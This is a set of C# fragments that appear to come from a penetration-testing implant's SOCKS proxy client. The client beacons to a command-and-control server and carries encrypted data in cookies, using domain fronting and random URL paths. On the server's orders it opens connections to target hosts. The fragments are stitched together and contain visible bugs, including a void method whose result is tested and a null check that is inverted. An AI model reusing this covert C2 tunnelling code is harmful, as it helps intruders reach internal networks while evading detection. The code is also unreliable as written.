public void StartCommandLoop(SocksController loopController) { _cancelTokenSource = new CancellationTokenSource(); _cancelToken = _cancelTokenSource.Token; _commandChannelLoop = new System.Threading.Tasks.Task((g) => { try { ImplantComms.LogMessage($"Command loop starting - beacon time is {C2Config.CommandBeaconTime}ms"); if (!CommandLoop((CancellationToken)g)) { loopController.StopProxyComms(); _error.LogError($"Stopping all proxy comms as command channel is now broken"); return; } } catch (Exception ex) { var lst = new List<String> { "Error in command channel loop" }; _error.LogError($"Command Channel loop is broken {ex.Message}, hard stopping all connections"); loopController.StopProxyComms(); return; } }, _cancelToken); _commandChannelLoop.Start(); }
public string Initialize() { string pubKey = null; try { _error = new InternalErrorHandler(_config.ImplantComms); _cmdCommsHandler = new CommandCommunicationHandler(Encryptor, _config, _error) { ImplantComms = ImplantComms }; _sockLoopctrller = new SocksLoopController() { Encryption = Encryptor, ErrorHandler = _error, CmdCommshandler = _cmdCommsHandler, ImplantComms = ImplantComms }; _cmdChannel = new CommandChannelController(_config.CommandChannel, _sockLoopctrller, _cmdCommsHandler, _error) { ImplantComms = ImplantComms }; } catch (Exception ex) { var mesg = new List <String> { "Failed to derive server key", ex.Message }; _error.LogError(mesg); } return(pubKey); }
public SocksController(SocksClientConfiguration config) { List <string> mesg = new List <String>(); if (config == null) { throw new Exception("Config object is null"); } if (config.CommandServerUI == null) { mesg.Add("ProxyIP is null"); } if (config.ImplantComms == null) { throw new Exception("Implant callback is null"); } _config = config; if (mesg.Count > 0) { _error.LogError(mesg); } }
public List <byte> Send(String sessionPayload, String status, List <byte> payload, out bool commandChannelDead) { commandChannelDead = false; if (String.IsNullOrWhiteSpace(status)) { status = "nochange"; } var sessionAndStatus = sessionPayload + ":" + status; var encryptedSessionPayload = _encryption.Encrypt(UTF8Encoding.UTF8.GetBytes(sessionAndStatus).ToList()); var cookies = new CookieContainer(); WebClientEx wc = null; if (!String.IsNullOrWhiteSpace(_config.HostHeader)) { wc = new WebClientEx(cookies, _config.HostHeader, _config.InsecureSSL) { UserAgent = _config.UserAgent } } ; else { wc = new WebClientEx(cookies, _config.InsecureSSL) { UserAgent = _config.UserAgent } }; if (_config.UseProxy) { if (null == _config.WebProxy) { wc.Proxy = HttpWebRequest.GetSystemWebProxy(); } else { wc.Proxy = _config.WebProxy; } } wc.Headers.Add("Host", _config.HostHeader); cookies.Add(new Cookie($"{_config.SessionCookieName}", $"{encryptedSessionPayload}") { Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host }); string encPayload = null; if (null != payload && payload.Count > 0) { try { encPayload = _encryption.Encrypt(payload); if (String.IsNullOrWhiteSpace(encPayload)) { _error.LogError("Encrypted payload was null, it shouldn't be"); if (!InitialConnectionSucceded.HasValue) { InitialConnectionSucceded = false; } return(null); } } catch (Exception ex) { _error.LogError(ex.Message); return(null); } } bool retryRequired = false; Int32 retryInterval = 2000; UInt16 retryCount = 0; Guid errorId = Guid.NewGuid(); //This is only if the command channel has failed first time do { try { String response = null; if (encPayload != null && encPayload.Count() > 4096) { response = wc.UploadString(BuildServerURI(), encPayload); } else { if (null != _config.HostHeader) { if (wc.Headers.AllKeys.Contains("Host")) { if (wc.Headers["Host"] != _config.HostHeader) { wc.Headers["Host"] = _config.HostHeader; } } else { wc.Headers.Add("Host", _config.HostHeader); } } if (payload != null && payload.Count() > 0) { cookies.Add(new Cookie($"{_config.PayloadCookieName}", $"{encPayload}") { Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host }); } response = wc.DownloadString(BuildServerURI()); } if (!InitialConnectionSucceded.HasValue) { InitialConnectionSucceded = true; } if (null != response && response.Count() > 0) { return(_encryption.Decrypt(response)); } else { return(new List <byte>()); } } catch (System.Net.WebException ex) { var lst = new List <String>(); if (WebExceptionAnalyzer.IsTransient(ex)) { if (15 > retryCount++) { _error.LogError($"Error has occured and looks like it's transient going to retry in {retryInterval} milliseconds: {ex.Message}"); retryRequired = true; if (retryInterval++ > 2) { retryInterval += retryInterval; } Timeout.WaitOne(retryInterval); } else { _error.FailError($"Kept trying but afraid error isn't going away {retryInterval} {ex.Message} {ex.Status.ToString()} {_config.CommandServerUI.ToString()} {errorId.ToString()}"); commandChannelDead = true; return(null); } } else if (sessionPayload == _config.CommandChannelSessionId) { if (!RetryUntilFailure(ref retryCount, ref retryRequired, ref retryInterval)) { lst.Add("Command channel re-tried connection 5 times giving up"); ReportErrorWebException(ex, lst, errorId); commandChannelDead = true; return(null); } retryRequired = true; } else { ReportErrorWebException(ex, lst, errorId); if (HttpStatusCode.NotFound == ((HttpWebResponse)ex.Response).StatusCode) { if (_error.VerboseErrors) { _error.LogError(String.Format($"Connection on server has been killed")); } } else { _error.LogError(String.Format($"Send to {_config.URL} failed with {ex.Message}")); } return(null); } } } while (retryRequired); if (!InitialConnectionSucceded.HasValue) { commandChannelDead = true; InitialConnectionSucceded = false; } return(null); } bool RetryUntilFailure(ref UInt16 retryCount, ref bool retryRequired, ref Int32 retryInterval) { if (5 <= retryCount++) { return(retryRequired = false); } _error.LogError($"Command Channel failed to connect : retry interval {retryInterval} ms"); Timeout.WaitOne(retryInterval); retryInterval += retryInterval; return(true); } Uri BuildServerURI(String payload = null) { if (null != _config.Tamper) { return(new Uri(_config.Tamper.TamperUri(_config.CommandServerUI, payload))); } if (_config.URLPaths.Count() == 0) { return(new Uri(_config.URL, "Upload")); } else { var path = _config.URLPaths[_urlRandomizer.Next(0, _config.URLPaths.Count())]; return(new Uri(_config.URL, path)); } } void ReportErrorWebException(System.Net.WebException ex, List <String> lst, Guid errorId) { lst.Add(ex.Message); lst.Add(ex.Status.ToString()); lst.Add(_config.CommandServerUI.ToString()); lst.Add(errorId.ToString()); _error.LogError(lst); } }
void CommandLoop(CancellationToken token) { Int16 retryCounter = 0; do { if (token.IsCancellationRequested) { return; } var request = BuildRequestPayload(); var response = _cmdCommsHandler.Send(CommandChannelSessionId, UTF8Encoding.UTF8.GetBytes(request.ToString()).ToList()); if (null == response || response.Count() == 0) { _error.LogError($"Command Channel loop appears broken attempting to reconnect in {C2Config.CommandTimeoutRetryOnFailure/1000}s"); Timeout.WaitOne(C2Config.CommandTimeoutRetryOnFailure); if (++retryCounter == (C2Config.CommandTimeoutRetryAttempts + 1)) { _error.LogError($"Command Channel loop is dead attempted to reconnect {retryCounter} times. EXITING"); return; } } else { //Reset the failure counter on reconnect retryCounter = 0; var xdoc = XDocument.Parse(UTF8Encoding.UTF8.GetString(response.ToArray())); var elms = xdoc.XPathSelectElements("Response/Tasks/Task"); if (elms.Count() > 0) { ImplantComms.LogMessage($"{elms.Count()} tasks recieved"); //We have tasks Queue em up xdoc.XPathSelectElements("Response/Tasks/Task").ToList().ForEach(x => { var nodeCreate = x.XPathSelectElement("CreateListener"); var nodeClose = x.XPathSelectElement("CloseListener"); if (nodeCreate != null) { var host = nodeCreate.Attribute("TargetHost").Value; var strPort = nodeCreate.Attribute("TargetPort").Value; var port = ushort.Parse(strPort); var sessionId = nodeCreate.Attribute("SessionID").Value; ImplantComms.LogMessage($"About to open connection to {host}:{strPort}"); if (_client.OpenNewConnectionToTarget(sessionId, host, port)) { QueueListenerStatus(sessionId, "open"); } else { ImplantComms.LogError($"FAILED {host}:{strPort}"); QueueListenerStatus(sessionId, "failed"); } } else if (nodeClose == null) { var sessionId = nodeClose.Attribute("SessionID"); if (null != sessionId) { if (!String.IsNullOrWhiteSpace(sessionId.Value)) { _client.Stop(sessionId.Value); QueueListenerStatus(sessionId.Value, "closed"); } else { ImplantComms.LogError($"Close session id message is null"); } } } else { return; } }); } //Sleep til we need to beacon again //TO DO: Add in Jitter time, not curenntly implemented if (token.IsCancellationRequested) { return; } Timeout.WaitOne(C2Config.CommandBeaconTime); } }while (!token.IsCancellationRequested); }